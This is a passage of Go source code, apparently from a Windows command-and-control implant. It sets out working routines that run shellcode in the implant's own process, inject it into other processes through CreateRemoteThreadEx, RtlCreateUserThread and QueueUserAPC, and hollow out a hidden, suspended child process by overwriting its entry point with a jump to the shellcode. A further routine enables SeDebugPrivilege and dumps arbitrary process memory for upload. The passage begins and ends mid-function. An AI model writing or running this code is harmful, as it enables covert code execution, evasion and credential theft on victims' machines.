exec.LookPath(name)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error resolving the absolute path for %s: %s\", application, err)\n\t\treturn\n\t}\n\n\t// #nosec G204 -- Subprocess must be launched with a variable\n\tcmd := exec.Command(application, args...)\n\tcmd.SysProcAttr = attr\n\n\tout, err := cmd.CombinedOutput()\n\tif cmd.Process != nil {\n\t\tstdout = fmt.Sprintf(\"Created %s process with an ID of %d\\n\", application, cmd.Process.Pid)\n\t}\n\n\t// Convert the output to a string\n\tif utf8.Valid(out) {\n\t\tstdout += string(out)\n\t} else {\n\t\ts, e := text.DecodeString(out)\n\t\tif e != nil {\n\t\t\tstderr = fmt.Sprintf(\"%s\\n\", e)\n\t\t} else {\n\t\t\tstdout += s\n\t\t}\n\t}\n\n\tif err != nil {\n\t\tstderr += err.Error()\n\t}\n\n\treturn stdout, stderr\n}\n\n// ExecuteShellcodeSelf executes provided shellcode in the current process\nfunc ExecuteShellcodeSelf(shellcode []byte) error {\n\taddr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeSelf: there was an error calling Windows API VirtualAlloc: %s\", err)\n\t}\n\n\terr = ntdll.RtlCopyMemory(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uint32(len(shellcode)))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeSelf: %s\", err)\n\t}\n\n\tvar lpflOldProtect uint32\n\terr = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API VirtualProtect: %s\", err)\n\t}\n\n\t// Execute the shellcode\n\t_, _, err = syscall.SyscallN(addr, 0)\n\tif err != windows.Errno(0) {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: there was an error executing the shellcode by making a syscall on the start address: %s\", err)\n\t}\n\treturn nil\n}\n\n// ExecuteShellcodeRemote executes provided shellcode in the provided target process\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer TearDown()\n\n\tdesiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ)\n\thandle, err := windows.OpenProcess(desiredAccess, false, pid)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API OpenProcess: %s\", err)\n\t}\n\tdefer windows.CloseHandle(handle)\n\n\taddr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: %s\", err)\n\t}\n\n\tif addr == 0 {\n\t\treturn errors.New(\"VirtualAllocEx failed and returned 0\")\n\t}\n\n\tvar lpNumberOfBytesWritten uintptr\n\terr = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API WriteProcessMemory: %s\", err)\n\t}\n\n\tvar lpflOldProtect uint32\n\terr = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API VirtualProtectEx: %s\", err)\n\t}\n\n\t_, err = kernel32.CreateRemoteThreadEx(uintptr(handle), 0, 0, addr, 0, 0, 0, 0)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRemote: %s\", err)\n\t}\n\treturn nil\n}\n\n// ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer TearDown()\n\n\tdesiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ)\n\thandle, err := windows.OpenProcess(desiredAccess, false, pid)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API OpenProcess: %s\", err)\n\t}\n\tdefer windows.CloseHandle(handle)\n\n\taddr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRtlCreateUserThread: %s\", err)\n\t}\n\n\tif addr == 0 {\n\t\treturn errors.New(\"VirtualAllocEx failed and returned 0\")\n\t}\n\n\tvar lpNumberOfBytesWritten uintptr\n\terr = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API WriteProcessMemory: %s\", err)\n\t}\n\n\tvar lpflOldProtect uint32\n\terr = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API VirtualProtectEx: %s\", err)\n\t}\n\n\tvar tHandle uintptr\n\t_, err = ntdll.RtlCreateUserThread(uintptr(handle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRtlCreateUserThread: %s\", err)\n\t}\n\n\t_, err = windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeRtlCreateUserThread: %s\", err)\n\t}\n\n\treturn nil\n}\n\n// ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call\nfunc ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error {\n\t// TODO this can be local or remote\n\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer TearDown()\n\n\t// Consider using NtQuerySystemInformation to replace CreateToolhelp32Snapshot AND to find a thread in a wait state\n\t// https://stackoverflow.com/questions/22949725/how-to-get-thread-state-e-g-suspended-memory-cpu-usage-start-time-priori\n\n\tdwFlags := uint32(windows.TH32CS_SNAPTHREAD | windows.TH32CS_SNAPHEAPLIST | windows.TH32CS_SNAPMODULE | windows.TH32CS_SNAPPROCESS)\n\tpSnapshot, err := windows.CreateToolhelp32Snapshot(dwFlags, pid)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API CreateToolhelp32Snapshot: %s\", err)\n\t}\n\tdefer windows.CloseHandle(pSnapshot)\n\n\tdesiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ)\n\thandle, err := windows.OpenProcess(desiredAccess, false, pid)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API OpenProcess: %s\", err)\n\t}\n\tdefer windows.CloseHandle(handle)\n\n\taddr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: %s\", err)\n\t}\n\n\tif addr == 0 {\n\t\treturn errors.New(\"VirtualAllocEx failed and returned 0\")\n\t}\n\n\tvar lpNumberOfBytesWritten uintptr\n\terr = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API WriteProcessMemory: %s\", err)\n\t}\n\n\tvar lpflOldProtect uint32\n\terr = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API VirtualProtectEx: %s\", err)\n\t}\n\n\tthreadEntry := windows.ThreadEntry32{\n\t\tSize: uint32(unsafe.Sizeof(windows.ThreadEntry32{})),\n\t}\n\terr = windows.Thread32First(pSnapshot, &threadEntry)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API Thread32First: %s\", err)\n\t}\n\n\ti := true\n\tx := 0\n\t// Queue an APC for every thread; very unstable and not ideal, need to programmatically find alertable thread\n\tfor i {\n\t\terr = windows.Thread32Next(pSnapshot, &threadEntry)\n\t\tif err != nil {\n\t\t\t// There are no more files.\n\t\t\tif err == windows.ERROR_NO_MORE_FILES {\n\t\t\t\ti = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API Thread32Next: %s\", err)\n\t\t}\n\t\tif threadEntry.OwnerProcessID == pid {\n\t\t\tif x > 0 {\n\t\t\t\tvar hThread windows.Handle\n\t\t\t\thThread, err = windows.OpenThread(windows.THREAD_SET_CONTEXT, false, threadEntry.ThreadID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API OpenThread: %s\", err)\n\t\t\t\t}\n\t\t\t\t//fmt.Printf(\"Queueing APC for PID: %d, Thread %d\\n\", pid, threadEntry.ThreadID)\n\t\t\t\terr = kernel32.QueueUserAPC(addr, uintptr(hThread), 0)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: %s\", err)\n\t\t\t\t}\n\t\t\t\tx++\n\t\t\t\terr = windows.CloseHandle(hThread)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API CloseHandle: %s\", err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tx++\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// ExecuteShellcodeCreateProcessWithPipe creates a child process, redirects STDOUT/STDERR to an anonymous pipe, injects/executes shellcode, and retrieves output\n// Returns STDOUT and STDERR from process execution. Any encountered errors in this function are also returned in STDERR\nfunc ExecuteShellcodeCreateProcessWithPipe(sc string, spawnto string, args string) (stdout string, stderr string, err error) {\n\t// Base64 decode string into bytes\n\tshellcode, errDecode := base64.StdEncoding.DecodeString(sc)\n\tif errDecode != nil {\n\t\treturn stdout, stderr, fmt.Errorf(\"there  was an error decoding the Base64 string: %s\", errDecode)\n\t}\n\n\t// Load DLLs and Procedures\n\tkernel32 := windows.NewLazySystemDLL(\"kernel32.dll\")\n\tntdll := windows.NewLazySystemDLL(\"ntdll.dll\")\n\tVirtualAllocEx := kernel32.NewProc(\"VirtualAllocEx\")\n\tVirtualProtectEx := kernel32.NewProc(\"VirtualProtectEx\")\n\tWriteProcessMemory := kernel32.NewProc(\"WriteProcessMemory\")\n\tNtQueryInformationProcess := ntdll.NewProc(\"NtQueryInformationProcess\")\n\n\t// Setup pipes to retrieve output\n\tstdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tapplication, err := exec.LookPath(spawnto)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error resolving the absolute: %s\", err)\n\t\treturn\n\t}\n\n\t// Convert the program to a LPCWSTR\n\tlpApplicationName, err := syscall.UTF16PtrFromString(application)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error converting the application name \\\"%s\\\" to LPCWSTR: %s\", application, err)\n\t\treturn\n\t}\n\n\t// Convert the program to a LPCWSTR\n\tlpCommandLine, err := syscall.UTF16PtrFromString(args)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error converting the application arguments \\\"%s\\\" to LPCWSTR: %s\", args, err)\n\t\treturn\n\t}\n\n\tlpProcessInformation := &windows.ProcessInformation{}\n\tlpStartupInfo := &windows.StartupInfo{\n\t\tStdInput:   stdInRead,\n\t\tStdOutput:  stdOutWrite,\n\t\tStdErr:     stdErrWrite,\n\t\tFlags:      windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED | windows.STARTF_USESHOWWINDOW,\n\t\tShowWindow: windows.SW_HIDE,\n\t}\n\n\tif tokens.Token != 0 {\n\t\terr = windows.CreateProcessAsUser(tokens.Token, lpApplicationName, lpCommandLine, nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, lpStartupInfo, lpProcessInformation)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error calling windows.CreateProcessAsUser(): %s\", err)\n\t\t\treturn\n\t\t}\n\t\tstdout += fmt.Sprintf(\"Created %s process with an ID of %d\\n\", application, lpProcessInformation.ProcessId)\n\t} else {\n\t\terrCreateProcess := windows.CreateProcess(lpApplicationName, lpCommandLine, nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, lpStartupInfo, lpProcessInformation)\n\t\tif errCreateProcess != nil && errCreateProcess.Error() != \"The operation completed successfully.\" {\n\t\t\treturn stdout, stderr, fmt.Errorf(\"error calling CreateProcess:\\r\\n%s\", errCreateProcess)\n\t\t}\n\t\tstdout += fmt.Sprintf(\"Created %s process with an ID of %d\\n\", application, lpProcessInformation.ProcessId)\n\t}\n\n\t// Allocate memory in child process\n\taddr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(lpProcessInformation.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)\n\n\tif errVirtualAlloc != nil && errVirtualAlloc.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling VirtualAlloc:\\r\\n%s\", errVirtualAlloc)\n\t}\n\n\tif addr == 0 {\n\t\treturn stdout, stderr, fmt.Errorf(\"VirtualAllocEx failed and returned 0\")\n\t}\n\n\t// Write shellcode into child process memory\n\t_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(lpProcessInformation.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))\n\n\tif errWriteProcessMemory != nil && errWriteProcessMemory.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling WriteProcessMemory:\\r\\n%s\", errWriteProcessMemory)\n\t}\n\n\t// Change memory permissions to RX in child process where shellcode was written\n\toldProtect := windows.PAGE_READWRITE\n\t_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(lpProcessInformation.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))\n\tif errVirtualProtectEx != nil && errVirtualProtectEx.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling VirtualProtectEx:\\r\\n%s\", errVirtualProtectEx)\n\t}\n\n\tvar processInformation PROCESS_BASIC_INFORMATION\n\tvar returnLength uintptr\n\tntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(lpProcessInformation.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)\n\tif errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling NtQueryInformationProcess:\\r\\n\\t%s\", errNtQueryInformationProcess)\n\t}\n\tif ntStatus != 0 {\n\t\tif ntStatus == 3221225476 {\n\t\t\treturn stdout, stderr, fmt.Errorf(\"error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH\") // 0xc0000004 (3221225476)\n\t\t}\n\t\tfmt.Println(fmt.Sprintf(\"[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)\", ntStatus, ntStatus))\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling NtQueryInformationProcess:\\r\\n\\t%s\", syscall.Errno(ntStatus))\n\t}\n\n\t// Read from PEB base address to populate the PEB structure\n\t// ReadProcessMemory\n\t/*\n\t\tBOOL ReadProcessMemory(\n\t\tHANDLE  hProcess,\n\t\tLPCVOID lpBaseAddress,\n\t\tLPVOID  lpBuffer,\n\t\tSIZE_T  nSize,\n\t\tSIZE_T  *lpNumberOfBytesRead\n\t\t);\n\t*/\n\n\tReadProcessMemory := kernel32.NewProc(\"ReadProcessMemory\")\n\n\tvar peb PEB\n\tvar readBytes int32\n\n\t_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))\n\tif errReadProcessMemory != nil && errReadProcessMemory.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling ReadProcessMemory:\\r\\n\\t%s\", errReadProcessMemory)\n\t}\n\n\tvar dosHeader IMAGE_DOS_HEADER\n\tvar readBytes2 int32\n\n\t_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))\n\tif errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling ReadProcessMemory:\\r\\n\\t%s\", errReadProcessMemory2)\n\t}\n\n\t// 23117 is the LittleEndian unsigned base10 representation of MZ\n\t// 0x5a4d is the LittleEndian unsigned base16 representation of MZ\n\tif dosHeader.Magic != 23117 {\n\t\treturn stdout, stderr, fmt.Errorf(\"DOS image header magic string was not MZ: 0x%x\", dosHeader.Magic)\n\t}\n\n\t// Read the child process's PE header signature to validate it is a PE\n\tvar Signature uint32\n\tvar readBytes3 int32\n\n\t_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))\n\tif errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling ReadProcessMemory:\\r\\n\\t%s\", errReadProcessMemory3)\n\t}\n\n\t// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)\n\t// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)\n\tif Signature != 17744 {\n\t\treturn stdout, stderr, fmt.Errorf(\"PE Signature string was not PE: 0x%x\", Signature)\n\t}\n\n\tvar peHeader IMAGE_FILE_HEADER\n\tvar readBytes4 int32\n\n\t_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))\n\tif errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling ReadProcessMemory:\\r\\n\\t%s\", errReadProcessMemory4)\n\t}\n\n\tvar optHeader64 IMAGE_OPTIONAL_HEADER64\n\tvar optHeader32 IMAGE_OPTIONAL_HEADER32\n\tvar errReadProcessMemory5 error\n\tvar readBytes5 int32\n\n\tif peHeader.Machine == 34404 { // 0x8664\n\t\t_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))\n\t} else if peHeader.Machine == 332 { // 0x14c\n\t\t_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(lpProcessInformation.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))\n\t} else {\n\t\treturn stdout, stderr, fmt.Errorf(\"unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x\", peHeader.Machine)\n\t}\n\n\tif errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling ReadProcessMemory:\\r\\n\\t%s\", errReadProcessMemory5)\n\t}\n\n\t// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it\n\tvar ep uintptr\n\tif peHeader.Machine == 34404 { // 0x8664 x64\n\t\tep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)\n\t} else if peHeader.Machine == 332 { // 0x14c x86\n\t\tep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)\n\t} else {\n\t\treturn stdout, stderr, fmt.Errorf(\"unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x\", peHeader.Machine)\n\t}\n\n\tvar epBuffer []byte\n\tvar shellcodeAddressBuffer []byte\n\t// x86 - 0xb8 = mov eax\n\t// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax\n\tif peHeader.Machine == 34404 { // 0x8664 x64\n\t\tepBuffer = append(epBuffer, byte(0x48))\n\t\tepBuffer = append(epBuffer, byte(0xb8))\n\t\tshellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address\n\t\tbinary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))\n\t\tepBuffer = append(epBuffer, shellcodeAddressBuffer...)\n\t} else if peHeader.Machine == 332 { // 0x14c x86\n\t\tepBuffer = append(epBuffer, byte(0xb8))\n\t\tshellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address\n\t\tbinary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))\n\t\tepBuffer = append(epBuffer, shellcodeAddressBuffer...)\n\t} else {\n\t\treturn stdout, stderr, fmt.Errorf(\"unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x\", peHeader.Machine)\n\t}\n\n\t// 0xff ; 0xe0 = jmp [r|e]ax\n\tepBuffer = append(epBuffer, byte(0xff))\n\tepBuffer = append(epBuffer, byte(0xe0))\n\n\t_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(lpProcessInformation.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))\n\n\tif errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != \"The operation completed successfully.\" {\n\t\treturn stdout, stderr, fmt.Errorf(\"error calling WriteProcessMemory:\\r\\n%s\", errWriteProcessMemory2)\n\t}\n\n\t// Resume the child process\n\t_, errResumeThread := windows.ResumeThread(lpProcessInformation.Thread)\n\tif errResumeThread != nil {\n\t\treturn stdout, stderr, fmt.Errorf(\"[!]Error calling ResumeThread:\\r\\n%s\", errResumeThread)\n\t}\n\n\t// Close the handle to the child process\n\terrCloseProcHandle := windows.CloseHandle(lpProcessInformation.Process)\n\tif errCloseProcHandle != nil {\n\t\treturn stdout, stderr, fmt.Errorf(\"error closing the child process handle:\\r\\n\\t%s\", errCloseProcHandle)\n\t}\n\n\t// Close the hand to the child process thread\n\terrCloseThreadHandle := windows.CloseHandle(lpProcessInformation.Thread)\n\tif errCloseThreadHandle != nil {\n\t\treturn stdout, stderr, fmt.Errorf(\"error closing the child process thread handle:\\r\\n\\t%s\", errCloseThreadHandle)\n\t}\n\n\t// Close the \"write\" pipe handles\n\terr = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\t// Read from the pipes\n\t_, out, stderr, err := pipes.ReadPipes(0, stdOutRead, stdErrRead)\n\tif err != nil {\n\t\tstderr += err.Error()\n\t}\n\tstdout += out\n\n\t// Close the \"read\" pipe handles\n\terr = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0)\n\tif err != nil {\n\t\tstderr += err.Error()\n\t\treturn\n\t}\n\treturn\n}\n\n// TODO always close handle during exception handling\n\n// miniDump will attempt to perform use the Windows MiniDumpWriteDump API operation on the provided process, and returns\n// the raw bytes of the dumpfile back as an upload to the server.\n// Touches disk during the dump process, in the OS default temporary or provided temporary directory\nfunc miniDump(tempDir string, process string, inPid uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\tmini = make(map[string]interface{})\n\tvar err error\n\n\t// Make sure a temporary directory exists before executing miniDump functionality\n\tif tempDir != \"\" {\n\t\td, errS := os.Stat(tempDir)\n\t\tif os.IsNotExist(errS) {\n\t\t\treturn mini, fmt.Errorf(\"the provided directory does not exist: %s\", tempDir)\n\t\t}\n\t\tif d.IsDir() != true {\n\t\t\treturn mini, fmt.Errorf(\"the provided path is not a valid directory: %s\", tempDir)\n\t\t}\n\t} else {\n\t\ttempDir = os.TempDir()\n\t}\n\n\t// Get the process PID or name\n\tmini[\"ProcName\"], mini[\"ProcID\"], err = getProcess(process, inPid)\n\tif err != nil {\n\t\treturn mini, err\n\t}\n\n\t// Setup OS environment, if any\n\terr = Setup()\n\tif err != nil {\n\t\treturn mini, err\n\t}\n\tdefer TearDown()\n\n\t// Get debug privs (required for dumping processes not owned by current user)\n\terr = sePrivEnable(\"SeDebugPrivilege\")\n\tif err != nil {\n\t\treturn mini, err\n\t}\n\n\t// Get a handle to process\n\thProc, err := syscall.OpenProcess(0x1F0FFF, false, mini[\"ProcID\"].(uint32)) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF)\n\tif err != nil {\n\t\treturn mini, err\n\t}\n\n\t// Set up the temporary file to write to, automatically remove it once done\n\t// TODO: Work out how to do this in memory\n\tf, tempErr := ioutil.TempFile(tempDir, \"*.tmp\")\n\tif tempErr != nil {\n\t\treturn mini, tempErr\n\t}\n\n\t// Remove the file after the function exits, regardless of error nor not\n\tdefer os.Remove(f.Name())\n\n\t// Load MiniDumpWriteDump function from DbgHelp.dll\n\tk32 := windows.NewLazySystemDLL(\"DbgHelp.dll\")\n\tminiDump := k32.NewProc(\"MiniDumpWriteDump\")\n\n\t/*\n\t\tBOOL MiniDumpWriteDump(\n\t\t  HANDLE                            hProcess,\n\t\t  DWORD                             ProcessId,\n\t\t  HANDLE                            hFile,\n\t\t  MINIDUMP_TYPE                     DumpType,\n\t\t  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,\n\t\t  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,\n\t\t  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam\n\t\t);\n\t*/\n\t// Call Windows MiniDumpWriteDump API\n\tr, _, _ := miniDump.Call(uintptr(hProc), uintptr(mini[\"ProcID\"].(uint32)), f.Fd(), 3, 0, 0, 0)\n\n\tf.Close() //idk why this fixes the 'not same as on disk' issue, but it does\n\n\tif r != 0 {\n\t\tmini[\"FileContent\"], err = ioutil.ReadFile(f.Name())\n\t\tif err != nil {\n\t\t\tf.Close()\n\t\t\treturn mini, err\n\t\t}\n\t}\n\treturn mini, nil\n}\n\n// getProcess takes in a process name OR a process ID and returns a pointer to the process handle, the process name,\n// and the process ID.\nfunc getProcess(name string, pid uint32) (string, uint32, error) {\n\t//https://github.com/mitchellh/go-ps/blob/master/process_windows.go\n\n\tif pid <= 0 && name == \"\" {\n\t\treturn \"\", 0, fmt.Errorf(\"a process name OR process ID must be provided\")\n\t}\n\n\tsnapshotHandle, err := syscall.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)\n\tif int(snapshotHandle) < 0 || err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"there was an error creating the snapshot:\\r\\n%s\", err)\n\t}\n\tdefer syscall.CloseHandle(snapshotHandle)\n\n\tvar process syscall.ProcessEntry32\n\tprocess.Size = uint32(unsafe.Sizeof(process))\n\terr = syscall.Process32First(snapshotHandle, &process)\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"there was an accessing the first process in the snapshot:\\r\\n%s\", err)\n\t}\n\n\tfor {\n\t\tprocessName := syscall.UTF16ToString(process.ExeFile[:])\n\t\tif pid > 0 {\n\t\t\tif 